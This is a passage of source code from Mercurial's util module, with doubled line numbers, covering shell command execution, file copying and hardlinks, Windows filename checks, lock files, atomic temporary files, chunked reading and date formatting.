1022 1022 def _sethgexecutable(path):
1023 1023 """set location of the 'hg' executable"""
1024 1024 global _hgexecutable
1025 1025 _hgexecutable = path
1026 1026
1027 1027 def _isstdout(f):
1028 1028 fileno = getattr(f, 'fileno', None)
1029 1029 return fileno and fileno() == sys.__stdout__.fileno()
1030 1030
1031 1031 def shellenviron(environ=None):
1032 1032 """return environ with optional override, useful for shelling out"""
1033 1033 def py2shell(val):
1034 1034 'convert python object into string that is useful to shell'
1035 1035 if val is None or val is False:
1036 1036 return '0'
1037 1037 if val is True:
1038 1038 return '1'
1039 1039 return str(val)
1040 1040 env = dict(encoding.environ)
1041 1041 if environ:
1042 1042 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1043 1043 env['HG'] = hgexecutable()
1044 1044 return env
1045 1045
1046 1046 def system(cmd, environ=None, cwd=None, out=None):
1047 1047 '''enhanced shell command execution.
1048 1048 run with environment maybe modified, maybe in different dir.
1049 1049
1050 1050 if out is specified, it is assumed to be a file-like object that has a
1051 1051 write() method. stdout and stderr will be redirected to out.'''
1052 1052 try:
1053 1053 stdout.flush()
1054 1054 except Exception:
1055 1055 pass
1056 1056 cmd = quotecommand(cmd)
1057 1057 env = shellenviron(environ)
1058 1058 if out is None or _isstdout(out):
1059 1059 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1060 1060 env=env, cwd=cwd)
1061 1061 else:
1062 1062 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1063 1063 env=env, cwd=cwd, stdout=subprocess.PIPE,
1064 1064 stderr=subprocess.STDOUT)
1065 1065 for line in iter(proc.stdout.readline, ''):
1066 1066 out.write(line)
1067 1067 proc.wait()
1068 1068 rc = proc.returncode
1069 1069 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1070 1070 rc = 0
1071 1071 return rc
1072 1072
1073 1073 def checksignature(func):
1074 1074 '''wrap a function with code to check for calling errors'''
1075 1075 def check(*args, **kwargs):
1076 1076 try:
1077 1077 return func(*args, **kwargs)
1078 1078 except TypeError:
1079 1079 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1080 1080 raise error.SignatureError
1081 1081 raise
1082 1082
1083 1083 return check
1084 1084
1085 1085 # a whilelist of known filesystems where hardlink works reliably
1086 1086 _hardlinkfswhitelist = {
1087 1087 'btrfs',
1088 1088 'ext2',
1089 1089 'ext3',
1090 1090 'ext4',
1091 1091 'hfs',
1092 1092 'jfs',
1093 1093 'reiserfs',
1094 1094 'tmpfs',
1095 1095 'ufs',
1096 1096 'xfs',
1097 1097 'zfs',
1098 1098 }
1099 1099
1100 1100 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1101 1101 '''copy a file, preserving mode and optionally other stat info like
1102 1102 atime/mtime
1103 1103
1104 1104 checkambig argument is used with filestat, and is useful only if
1105 1105 destination file is guarded by any lock (e.g. repo.lock or
1106 1106 repo.wlock).
1107 1107
1108 1108 copystat and checkambig should be exclusive.
1109 1109 '''
1110 1110 assert not (copystat and checkambig)
1111 1111 oldstat = None
1112 1112 if os.path.lexists(dest):
1113 1113 if checkambig:
1114 1114 oldstat = checkambig and filestat.frompath(dest)
1115 1115 unlink(dest)
1116 1116 if hardlink:
1117 1117 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1118 1118 # unless we are confident that dest is on a whitelisted filesystem.
1119 1119 try:
1120 1120 fstype = getfstype(os.path.dirname(dest))
1121 1121 except OSError:
1122 1122 fstype = None
1123 1123 if fstype not in _hardlinkfswhitelist:
1124 1124 hardlink = False
1125 1125 if hardlink:
1126 1126 try:
1127 1127 oslink(src, dest)
1128 1128 return
1129 1129 except (IOError, OSError):
1130 1130 pass # fall back to normal copy
1131 1131 if os.path.islink(src):
1132 1132 os.symlink(os.readlink(src), dest)
1133 1133 # copytime is ignored for symlinks, but in general copytime isn't needed
1134 1134 # for them anyway
1135 1135 else:
1136 1136 try:
1137 1137 shutil.copyfile(src, dest)
1138 1138 if copystat:
1139 1139 # copystat also copies mode
1140 1140 shutil.copystat(src, dest)
1141 1141 else:
1142 1142 shutil.copymode(src, dest)
1143 1143 if oldstat and oldstat.stat:
1144 1144 newstat = filestat.frompath(dest)
1145 1145 if newstat.isambig(oldstat):
1146 1146 # stat of copied file is ambiguous to original one
1147 1147 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1148 1148 os.utime(dest, (advanced, advanced))
1149 1149 except shutil.Error as inst:
1150 1150 raise Abort(str(inst))
1151 1151
1152 1152 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1153 1153 """Copy a directory tree using hardlinks if possible."""
1154 1154 num = 0
1155 1155
1156 1156 gettopic = lambda: hardlink and _('linking') or _('copying')
1157 1157
1158 1158 if os.path.isdir(src):
1159 1159 if hardlink is None:
1160 1160 hardlink = (os.stat(src).st_dev ==
1161 1161 os.stat(os.path.dirname(dst)).st_dev)
1162 1162 topic = gettopic()
1163 1163 os.mkdir(dst)
1164 1164 for name, kind in listdir(src):
1165 1165 srcname = os.path.join(src, name)
1166 1166 dstname = os.path.join(dst, name)
1167 1167 def nprog(t, pos):
1168 1168 if pos is not None:
1169 1169 return progress(t, pos + num)
1170 1170 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1171 1171 num += n
1172 1172 else:
1173 1173 if hardlink is None:
1174 1174 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1175 1175 os.stat(os.path.dirname(dst)).st_dev)
1176 1176 topic = gettopic()
1177 1177
1178 1178 if hardlink:
1179 1179 try:
1180 1180 oslink(src, dst)
1181 1181 except (IOError, OSError):
1182 1182 hardlink = False
1183 1183 shutil.copy(src, dst)
1184 1184 else:
1185 1185 shutil.copy(src, dst)
1186 1186 num += 1
1187 1187 progress(topic, num)
1188 1188 progress(topic, None)
1189 1189
1190 1190 return hardlink, num
1191 1191
1192 1192 _winreservednames = b'''con prn aux nul
1193 1193 com1 com2 com3 com4 com5 com6 com7 com8 com9
1194 1194 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1195 1195 _winreservedchars = ':*?"<>|'
1196 1196 def checkwinfilename(path):
1197 1197 r'''Check that the base-relative path is a valid filename on Windows.
1198 1198 Returns None if the path is ok, or a UI string describing the problem.
1199 1199
1200 1200 >>> checkwinfilename("just/a/normal/path")
1201 1201 >>> checkwinfilename("foo/bar/con.xml")
1202 1202 "filename contains 'con', which is reserved on Windows"
1203 1203 >>> checkwinfilename("foo/con.xml/bar")
1204 1204 "filename contains 'con', which is reserved on Windows"
1205 1205 >>> checkwinfilename("foo/bar/xml.con")
1206 1206 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1207 1207 "filename contains 'AUX', which is reserved on Windows"
1208 1208 >>> checkwinfilename("foo/bar/bla:.txt")
1209 1209 "filename contains ':', which is reserved on Windows"
1210 1210 >>> checkwinfilename("foo/bar/b\07la.txt")
1211 1211 "filename contains '\\x07', which is invalid on Windows"
1212 1212 >>> checkwinfilename("foo/bar/bla ")
1213 1213 "filename ends with ' ', which is not allowed on Windows"
1214 1214 >>> checkwinfilename("../bar")
1215 1215 >>> checkwinfilename("foo\\")
1216 1216 "filename ends with '\\', which is invalid on Windows"
1217 1217 >>> checkwinfilename("foo\\/bar")
1218 1218 "directory name ends with '\\', which is invalid on Windows"
1219 1219 '''
1220 1220 if path.endswith('\\'):
1221 1221 return _("filename ends with '\\', which is invalid on Windows")
1222 1222 if '\\/' in path:
1223 1223 return _("directory name ends with '\\', which is invalid on Windows")
1224 1224 for n in path.replace('\\', '/').split('/'):
1225 1225 if not n:
1226 1226 continue
1227 1227 for c in _filenamebytestr(n):
1228 1228 if c in _winreservedchars:
1229 1229 return _("filename contains '%s', which is reserved "
1230 1230 "on Windows") % c
1231 1231 if ord(c) <= 31:
1232 1232 return _("filename contains %r, which is invalid "
1233 1233 "on Windows") % c
1234 1234 base = n.split('.')[0]
1235 1235 if base and base.lower() in _winreservednames:
1236 1236 return _("filename contains '%s', which is reserved "
1237 1237 "on Windows") % base
1238 1238 t = n[-1]
1239 1239 if t in '. ' and n not in '..':
1240 1240 return _("filename ends with '%s', which is not allowed "
1241 1241 "on Windows") % t
1242 1242
1243 1243 if pycompat.osname == 'nt':
1244 1244 checkosfilename = checkwinfilename
1245 1245 timer = time.clock
1246 1246 else:
1247 1247 checkosfilename = platform.checkosfilename
1248 1248 timer = time.time
1249 1249
1250 1250 if safehasattr(time, "perf_counter"):
1251 1251 timer = time.perf_counter
1252 1252
1253 1253 def makelock(info, pathname):
1254 1254 try:
1255 1255 return os.symlink(info, pathname)
1256 1256 except OSError as why:
1257 1257 if why.errno == errno.EEXIST:
1258 1258 raise
1259 1259 except AttributeError: # no symlink in os
1260 1260 pass
1261 1261
1262 1262 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1263 1263 os.write(ld, info)
1264 1264 os.close(ld)
1265 1265
1266 1266 def readlock(pathname):
1267 1267 try:
1268 1268 return os.readlink(pathname)
1269 1269 except OSError as why:
1270 1270 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1271 1271 raise
1272 1272 except AttributeError: # no symlink in os
1273 1273 pass
1274 1274 fp = posixfile(pathname)
1275 1275 r = fp.read()
1276 1276 fp.close()
1277 1277 return r
1278 1278
1279 1279 def fstat(fp):
1280 1280 '''stat file object that may not have fileno method.'''
1281 1281 try:
1282 1282 return os.fstat(fp.fileno())
1283 1283 except AttributeError:
1284 1284 return os.stat(fp.name)
1285 1285
1286 1286 # File system features
1287 1287
1288 1288 def fscasesensitive(path):
1289 1289 """
1290 1290 Return true if the given path is on a case-sensitive filesystem
1291 1291
1292 1292 Requires a path (like /foo/.hg) ending with a foldable final
1293 1293 directory component.
1294 1294 """
1295 1295 s1 = os.lstat(path)
1296 1296 d, b = os.path.split(path)
1297 1297 b2 = b.upper()
1298 1298 if b == b2:
1299 1299 b2 = b.lower()
1300 1300 if b == b2:
1301 1301 return True # no evidence against case sensitivity
1302 1302 p2 = os.path.join(d, b2)
1303 1303 try:
1304 1304 s2 = os.lstat(p2)
1305 1305 if s2 == s1:
1306 1306 return False
1307 1307 return True
1308 1308 except OSError:
1309 1309 return True
1310 1310
1311 1311 try:
1312 1312 import re2
1313 1313 _re2 = None
1314 1314 except ImportError:
1315 1315 _re2 = False
1316 1316
1317 1317 class _re(object):
1318 1318 def _checkre2(self):
1319 1319 global _re2
1320 1320 try:
1321 1321 # check if match works, see issue3964
1322 1322 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1323 1323 except ImportError:
1324 1324 _re2 = False
1325 1325
1326 1326 def compile(self, pat, flags=0):
1327 1327 '''Compile a regular expression, using re2 if possible
1328 1328
1329 1329 For best performance, use only re2-compatible regexp features. The
1330 1330 only flags from the re module that are re2-compatible are
1331 1331 IGNORECASE and MULTILINE.'''
1332 1332 if _re2 is None:
1333 1333 self._checkre2()
1334 1334 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1335 1335 if flags & remod.IGNORECASE:
1336 1336 pat = '(?i)' + pat
1337 1337 if flags & remod.MULTILINE:
1338 1338 pat = '(?m)' + pat
1339 1339 try:
1340 1340 return re2.compile(pat)
1341 1341 except re2.error:
1342 1342 pass
1343 1343 return remod.compile(pat, flags)
1344 1344
1345 1345 @propertycache
1346 1346 def escape(self):
1347 1347 '''Return the version of escape corresponding to self.compile.
1348 1348
1349 1349 This is imperfect because whether re2 or re is used for a particular
1350 1350 function depends on the flags, etc, but it's the best we can do.
1351 1351 '''
1352 1352 global _re2
1353 1353 if _re2 is None:
1354 1354 self._checkre2()
1355 1355 if _re2:
1356 1356 return re2.escape
1357 1357 else:
1358 1358 return remod.escape
1359 1359
1360 1360 re = _re()
1361 1361
1362 1362 _fspathcache = {}
1363 1363 def fspath(name, root):
1364 1364 '''Get name in the case stored in the filesystem
1365 1365
1366 1366 The name should be relative to root, and be normcase-ed for efficiency.
1367 1367
1368 1368 Note that this function is unnecessary, and should not be
1369 1369 called, for case-sensitive filesystems (simply because it's expensive).
1370 1370
1371 1371 The root should be normcase-ed, too.
1372 1372 '''
1373 1373 def _makefspathcacheentry(dir):
1374 1374 return dict((normcase(n), n) for n in os.listdir(dir))
1375 1375
1376 1376 seps = pycompat.ossep
1377 1377 if pycompat.osaltsep:
1378 1378 seps = seps + pycompat.osaltsep
1379 1379 # Protect backslashes. This gets silly very quickly.
1380 1380 seps.replace('\\','\\\\')
1381 1381 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1382 1382 dir = os.path.normpath(root)
1383 1383 result = []
1384 1384 for part, sep in pattern.findall(name):
1385 1385 if sep:
1386 1386 result.append(sep)
1387 1387 continue
1388 1388
1389 1389 if dir not in _fspathcache:
1390 1390 _fspathcache[dir] = _makefspathcacheentry(dir)
1391 1391 contents = _fspathcache[dir]
1392 1392
1393 1393 found = contents.get(part)
1394 1394 if not found:
1395 1395 # retry "once per directory" per "dirstate.walk" which
1396 1396 # may take place for each patches of "hg qpush", for example
1397 1397 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1398 1398 found = contents.get(part)
1399 1399
1400 1400 result.append(found or part)
1401 1401 dir = os.path.join(dir, part)
1402 1402
1403 1403 return ''.join(result)
1404 1404
1405 1405 def getfstype(dirpath):
1406 1406 '''Get the filesystem type name from a directory (best-effort)
1407 1407
1408 1408 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1409 1409 '''
1410 1410 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1411 1411
1412 1412 def checknlink(testfile):
1413 1413 '''check whether hardlink count reporting works properly'''
1414 1414
1415 1415 # testfile may be open, so we need a separate file for checking to
1416 1416 # work around issue2543 (or testfile may get lost on Samba shares)
1417 1417 f1 = testfile + ".hgtmp1"
1418 1418 if os.path.lexists(f1):
1419 1419 return False
1420 1420 try:
1421 1421 posixfile(f1, 'w').close()
1422 1422 except IOError:
1423 1423 try:
1424 1424 os.unlink(f1)
1425 1425 except OSError:
1426 1426 pass
1427 1427 return False
1428 1428
1429 1429 f2 = testfile + ".hgtmp2"
1430 1430 fd = None
1431 1431 try:
1432 1432 oslink(f1, f2)
1433 1433 # nlinks() may behave differently for files on Windows shares if
1434 1434 # the file is open.
1435 1435 fd = posixfile(f2)
1436 1436 return nlinks(f2) > 1
1437 1437 except OSError:
1438 1438 return False
1439 1439 finally:
1440 1440 if fd is not None:
1441 1441 fd.close()
1442 1442 for f in (f1, f2):
1443 1443 try:
1444 1444 os.unlink(f)
1445 1445 except OSError:
1446 1446 pass
1447 1447
1448 1448 def endswithsep(path):
1449 1449 '''Check path ends with os.sep or os.altsep.'''
1450 1450 return (path.endswith(pycompat.ossep)
1451 1451 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1452 1452
1453 1453 def splitpath(path):
1454 1454 '''Split path by os.sep.
1455 1455 Note that this function does not use os.altsep because this is
1456 1456 an alternative of simple "xxx.split(os.sep)".
1457 1457 It is recommended to use os.path.normpath() before using this
1458 1458 function if need.'''
1459 1459 return path.split(pycompat.ossep)
1460 1460
1461 1461 def gui():
1462 1462 '''Are we running in a GUI?'''
1463 1463 if pycompat.sysplatform == 'darwin':
1464 1464 if 'SSH_CONNECTION' in encoding.environ:
1465 1465 # handle SSH access to a box where the user is logged in
1466 1466 return False
1467 1467 elif getattr(osutil, 'isgui', None):
1468 1468 # check if a CoreGraphics session is available
1469 1469 return osutil.isgui()
1470 1470 else:
1471 1471 # pure build; use a safe default
1472 1472 return True
1473 1473 else:
1474 1474 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1475 1475
1476 1476 def mktempcopy(name, emptyok=False, createmode=None):
1477 1477 """Create a temporary file with the same contents from name
1478 1478
1479 1479 The permission bits are copied from the original file.
1480 1480
1481 1481 If the temporary file is going to be truncated immediately, you
1482 1482 can use emptyok=True as an optimization.
1483 1483
1484 1484 Returns the name of the temporary file.
1485 1485 """
1486 1486 d, fn = os.path.split(name)
1487 1487 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1488 1488 os.close(fd)
1489 1489 # Temporary files are created with mode 0600, which is usually not
1490 1490 # what we want. If the original file already exists, just copy
1491 1491 # its mode. Otherwise, manually obey umask.
1492 1492 copymode(name, temp, createmode)
1493 1493 if emptyok:
1494 1494 return temp
1495 1495 try:
1496 1496 try:
1497 1497 ifp = posixfile(name, "rb")
1498 1498 except IOError as inst:
1499 1499 if inst.errno == errno.ENOENT:
1500 1500 return temp
1501 1501 if not getattr(inst, 'filename', None):
1502 1502 inst.filename = name
1503 1503 raise
1504 1504 ofp = posixfile(temp, "wb")
1505 1505 for chunk in filechunkiter(ifp):
1506 1506 ofp.write(chunk)
1507 1507 ifp.close()
1508 1508 ofp.close()
1509 1509 except: # re-raises
1510 1510 try: os.unlink(temp)
1511 1511 except OSError: pass
1512 1512 raise
1513 1513 return temp
1514 1514
1515 1515 class filestat(object):
1516 1516 """help to exactly detect change of a file
1517 1517
1518 1518 'stat' attribute is result of 'os.stat()' if specified 'path'
1519 1519 exists. Otherwise, it is None. This can avoid preparative
1520 1520 'exists()' examination on client side of this class.
1521 1521 """
1522 1522 def __init__(self, stat):
1523 1523 self.stat = stat
1524 1524
1525 1525 @classmethod
1526 1526 def frompath(cls, path):
1527 1527 try:
1528 1528 stat = os.stat(path)
1529 1529 except OSError as err:
1530 1530 if err.errno != errno.ENOENT:
1531 1531 raise
1532 1532 stat = None
1533 1533 return cls(stat)
1534 1534
1535 1535 @classmethod
1536 1536 def fromfp(cls, fp):
1537 1537 stat = os.fstat(fp.fileno())
1538 1538 return cls(stat)
1539 1539
1540 1540 __hash__ = object.__hash__
1541 1541
1542 1542 def __eq__(self, old):
1543 1543 try:
1544 1544 # if ambiguity between stat of new and old file is
1545 1545 # avoided, comparison of size, ctime and mtime is enough
1546 1546 # to exactly detect change of a file regardless of platform
1547 1547 return (self.stat.st_size == old.stat.st_size and
1548 1548 self.stat.st_ctime == old.stat.st_ctime and
1549 1549 self.stat.st_mtime == old.stat.st_mtime)
1550 1550 except AttributeError:
1551 1551 pass
1552 1552 try:
1553 1553 return self.stat is None and old.stat is None
1554 1554 except AttributeError:
1555 1555 return False
1556 1556
1557 1557 def isambig(self, old):
1558 1558 """Examine whether new (= self) stat is ambiguous against old one
1559 1559
1560 1560 "S[N]" below means stat of a file at N-th change:
1561 1561
1562 1562 - S[n-1].ctime < S[n].ctime: can detect change of a file
1563 1563 - S[n-1].ctime == S[n].ctime
1564 1564 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1565 1565 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1566 1566 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1567 1567 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1568 1568
1569 1569 Case (*2) above means that a file was changed twice or more at
1570 1570 same time in sec (= S[n-1].ctime), and comparison of timestamp
1571 1571 is ambiguous.
1572 1572
1573 1573 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1574 1574 timestamp is ambiguous".
1575 1575
1576 1576 But advancing mtime only in case (*2) doesn't work as
1577 1577 expected, because naturally advanced S[n].mtime in case (*1)
1578 1578 might be equal to manually advanced S[n-1 or earlier].mtime.
1579 1579
1580 1580 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1581 1581 treated as ambiguous regardless of mtime, to avoid overlooking
1582 1582 by confliction between such mtime.
1583 1583
1584 1584 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1585 1585 S[n].mtime", even if size of a file isn't changed.
1586 1586 """
1587 1587 try:
1588 1588 return (self.stat.st_ctime == old.stat.st_ctime)
1589 1589 except AttributeError:
1590 1590 return False
1591 1591
1592 1592 def avoidambig(self, path, old):
1593 1593 """Change file stat of specified path to avoid ambiguity
1594 1594
1595 1595 'old' should be previous filestat of 'path'.
1596 1596
1597 1597 This skips avoiding ambiguity, if a process doesn't have
1598 1598 appropriate privileges for 'path'. This returns False in this
1599 1599 case.
1600 1600
1601 1601 Otherwise, this returns True, as "ambiguity is avoided".
1602 1602 """
1603 1603 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1604 1604 try:
1605 1605 os.utime(path, (advanced, advanced))
1606 1606 except OSError as inst:
1607 1607 if inst.errno == errno.EPERM:
1608 1608 # utime() on the file created by another user causes EPERM,
1609 1609 # if a process doesn't have appropriate privileges
1610 1610 return False
1611 1611 raise
1612 1612 return True
1613 1613
1614 1614 def __ne__(self, other):
1615 1615 return not self == other
1616 1616
1617 1617 class atomictempfile(object):
1618 1618 '''writable file object that atomically updates a file
1619 1619
1620 1620 All writes will go to a temporary copy of the original file. Call
1621 1621 close() when you are done writing, and atomictempfile will rename
1622 1622 the temporary copy to the original name, making the changes
1623 1623 visible. If the object is destroyed without being closed, all your
1624 1624 writes are discarded.
1625 1625
1626 1626 checkambig argument of constructor is used with filestat, and is
1627 1627 useful only if target file is guarded by any lock (e.g. repo.lock
1628 1628 or repo.wlock).
1629 1629 '''
1630 1630 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1631 1631 self.__name = name # permanent name
1632 1632 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1633 1633 createmode=createmode)
1634 1634 self._fp = posixfile(self._tempname, mode)
1635 1635 self._checkambig = checkambig
1636 1636
1637 1637 # delegated methods
1638 1638 self.read = self._fp.read
1639 1639 self.write = self._fp.write
1640 1640 self.seek = self._fp.seek
1641 1641 self.tell = self._fp.tell
1642 1642 self.fileno = self._fp.fileno
1643 1643
1644 1644 def close(self):
1645 1645 if not self._fp.closed:
1646 1646 self._fp.close()
1647 1647 filename = localpath(self.__name)
1648 1648 oldstat = self._checkambig and filestat.frompath(filename)
1649 1649 if oldstat and oldstat.stat:
1650 1650 rename(self._tempname, filename)
1651 1651 newstat = filestat.frompath(filename)
1652 1652 if newstat.isambig(oldstat):
1653 1653 # stat of changed file is ambiguous to original one
1654 1654 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1655 1655 os.utime(filename, (advanced, advanced))
1656 1656 else:
1657 1657 rename(self._tempname, filename)
1658 1658
1659 1659 def discard(self):
1660 1660 if not self._fp.closed:
1661 1661 try:
1662 1662 os.unlink(self._tempname)
1663 1663 except OSError:
1664 1664 pass
1665 1665 self._fp.close()
1666 1666
1667 1667 def __del__(self):
1668 1668 if safehasattr(self, '_fp'): # constructor actually did something
1669 1669 self.discard()
1670 1670
1671 1671 def __enter__(self):
1672 1672 return self
1673 1673
1674 1674 def __exit__(self, exctype, excvalue, traceback):
1675 1675 if exctype is not None:
1676 1676 self.discard()
1677 1677 else:
1678 1678 self.close()
1679 1679
1680 1680 def unlinkpath(f, ignoremissing=False):
1681 1681 """unlink and remove the directory if it is empty"""
1682 1682 if ignoremissing:
1683 1683 tryunlink(f)
1684 1684 else:
1685 1685 unlink(f)
1686 1686 # try removing directories that might now be empty
1687 1687 try:
1688 1688 removedirs(os.path.dirname(f))
1689 1689 except OSError:
1690 1690 pass
1691 1691
1692 1692 def tryunlink(f):
1693 1693 """Attempt to remove a file, ignoring ENOENT errors."""
1694 1694 try:
1695 1695 unlink(f)
1696 1696 except OSError as e:
1697 1697 if e.errno != errno.ENOENT:
1698 1698 raise
1699 1699
1700 1700 def makedirs(name, mode=None, notindexed=False):
1701 1701 """recursive directory creation with parent mode inheritance
1702 1702
1703 1703 Newly created directories are marked as "not to be indexed by
1704 1704 the content indexing service", if ``notindexed`` is specified
1705 1705 for "write" mode access.
1706 1706 """
1707 1707 try:
1708 1708 makedir(name, notindexed)
1709 1709 except OSError as err:
1710 1710 if err.errno == errno.EEXIST:
1711 1711 return
1712 1712 if err.errno != errno.ENOENT or not name:
1713 1713 raise
1714 1714 parent = os.path.dirname(os.path.abspath(name))
1715 1715 if parent == name:
1716 1716 raise
1717 1717 makedirs(parent, mode, notindexed)
1718 1718 try:
1719 1719 makedir(name, notindexed)
1720 1720 except OSError as err:
1721 1721 # Catch EEXIST to handle races
1722 1722 if err.errno == errno.EEXIST:
1723 1723 return
1724 1724 raise
1725 1725 if mode is not None:
1726 1726 os.chmod(name, mode)
1727 1727
1728 1728 def readfile(path):
1729 1729 with open(path, 'rb') as fp:
1730 1730 return fp.read()
1731 1731
1732 1732 def writefile(path, text):
1733 1733 with open(path, 'wb') as fp:
1734 1734 fp.write(text)
1735 1735
1736 1736 def appendfile(path, text):
1737 1737 with open(path, 'ab') as fp:
1738 1738 fp.write(text)
1739 1739
1740 1740 class chunkbuffer(object):
1741 1741 """Allow arbitrary sized chunks of data to be efficiently read from an
1742 1742 iterator over chunks of arbitrary size."""
1743 1743
1744 1744 def __init__(self, in_iter):
1745 1745 """in_iter is the iterator that's iterating over the input chunks."""
1746 1746 def splitbig(chunks):
1747 1747 for chunk in chunks:
1748 1748 if len(chunk) > 2**20:
1749 1749 pos = 0
1750 1750 while pos < len(chunk):
1751 1751 end = pos + 2 ** 18
1752 1752 yield chunk[pos:end]
1753 1753 pos = end
1754 1754 else:
1755 1755 yield chunk
1756 1756 self.iter = splitbig(in_iter)
1757 1757 self._queue = collections.deque()
1758 1758 self._chunkoffset = 0
1759 1759
1760 1760 def read(self, l=None):
1761 1761 """Read L bytes of data from the iterator of chunks of data.
1762 1762 Returns less than L bytes if the iterator runs dry.
1763 1763
1764 1764 If size parameter is omitted, read everything"""
1765 1765 if l is None:
1766 1766 return ''.join(self.iter)
1767 1767
1768 1768 left = l
1769 1769 buf = []
1770 1770 queue = self._queue
1771 1771 while left > 0:
1772 1772 # refill the queue
1773 1773 if not queue:
1774 1774 target = 2**18
1775 1775 for chunk in self.iter:
1776 1776 queue.append(chunk)
1777 1777 target -= len(chunk)
1778 1778 if target <= 0:
1779 1779 break
1780 1780 if not queue:
1781 1781 break
1782 1782
1783 1783 # The easy way to do this would be to queue.popleft(), modify the
1784 1784 # chunk (if necessary), then queue.appendleft(). However, for cases
1785 1785 # where we read partial chunk content, this incurs 2 dequeue
1786 1786 # mutations and creates a new str for the remaining chunk in the
1787 1787 # queue. Our code below avoids this overhead.
1788 1788
1789 1789 chunk = queue[0]
1790 1790 chunkl = len(chunk)
1791 1791 offset = self._chunkoffset
1792 1792
1793 1793 # Use full chunk.
1794 1794 if offset == 0 and left >= chunkl:
1795 1795 left -= chunkl
1796 1796 queue.popleft()
1797 1797 buf.append(chunk)
1798 1798 # self._chunkoffset remains at 0.
1799 1799 continue
1800 1800
1801 1801 chunkremaining = chunkl - offset
1802 1802
1803 1803 # Use all of unconsumed part of chunk.
1804 1804 if left >= chunkremaining:
1805 1805 left -= chunkremaining
1806 1806 queue.popleft()
1807 1807 # offset == 0 is enabled by block above, so this won't merely
1808 1808 # copy via ``chunk[0:]``.
1809 1809 buf.append(chunk[offset:])
1810 1810 self._chunkoffset = 0
1811 1811
1812 1812 # Partial chunk needed.
1813 1813 else:
1814 1814 buf.append(chunk[offset:offset + left])
1815 1815 self._chunkoffset += left
1816 1816 left -= chunkremaining
1817 1817
1818 1818 return ''.join(buf)
1819 1819
1820 1820 def filechunkiter(f, size=131072, limit=None):
1821 1821 """Create a generator that produces the data in the file size
1822 1822 (default 131072) bytes at a time, up to optional limit (default is
1823 1823 to read all data). Chunks may be less than size bytes if the
1824 1824 chunk is the last chunk in the file, or the file is a socket or
1825 1825 some other type of file that sometimes reads less data than is
1826 1826 requested."""
1827 1827 assert size >= 0
1828 1828 assert limit is None or limit >= 0
1829 1829 while True:
1830 1830 if limit is None:
1831 1831 nbytes = size
1832 1832 else:
1833 1833 nbytes = min(limit, size)
1834 1834 s = nbytes and f.read(nbytes)
1835 1835 if not s:
1836 1836 break
1837 1837 if limit:
1838 1838 limit -= len(s)
1839 1839 yield s
1840 1840
1841 1841 def makedate(timestamp=None):
1842 1842 '''Return a unix timestamp (or the current time) as a (unixtime,
1843 1843 offset) tuple based off the local timezone.'''
1844 1844 if timestamp is None:
1845 1845 timestamp = time.time()
1846 1846 if timestamp < 0:
1847 1847 hint = _("check your clock")
1848 1848 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1849 1849 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1850 1850 datetime.datetime.fromtimestamp(timestamp))
1851 1851 tz = delta.days * 86400 + delta.seconds
1852 1852 return timestamp, tz
1853 1853
1854 1854 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1855 1855 """represent a (unixtime, offset) tuple as a localized time.
1856 1856 unixtime is seconds since the epoch, and offset is the time zone's
1857 1857 number of seconds away from UTC.
1858 1858
1859 1859 >>> datestr((0, 0))
1860 1860 'Thu Jan 01 00:00:00 1970 +0000'
1861 1861 >>> datestr((42, 0))
1862 1862 'Thu Jan 01 00:00:42 1970 +0000'
1863 1863 >>> datestr((-42, 0))
1864 1864 'Wed Dec 31 23:59:18 1969 +0000'
1865 1865 >>> datestr((0x7fffffff, 0))
1866 1866 'Tue Jan 19 03:14:07 2038 +0000'
1867 1867 >>> datestr((-0x80000000, 0))
1868 1868 'Fri Dec 13 20:45:52 1901 +0000'
1869 1869 """
1870 1870 t, tz = date or makedate()
1871 1871 if "%1" in format or "%2" in format or "%z" in format:
1872 1872 sign = (tz > 0) and "-" or "+"
1873 1873 minutes = abs(tz) // 60
1874 1874 q, r = divmod(minutes, 60)
1875 1875 format = format.replace("%z", "%1%2")
1876 1876 format = format.replace("%1", "%c%02d" % (sign, q))
1877 1877 format = format.replace("%2", "%02d" % r)
1878 1878 d = t - tz
1879 1879 if d > 0x7fffffff:
1880 1880 d = 0x7fffffff
1881 1881 elif d < -0x80000000:
1882 1882 d = -0x80000000
1883 1883 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
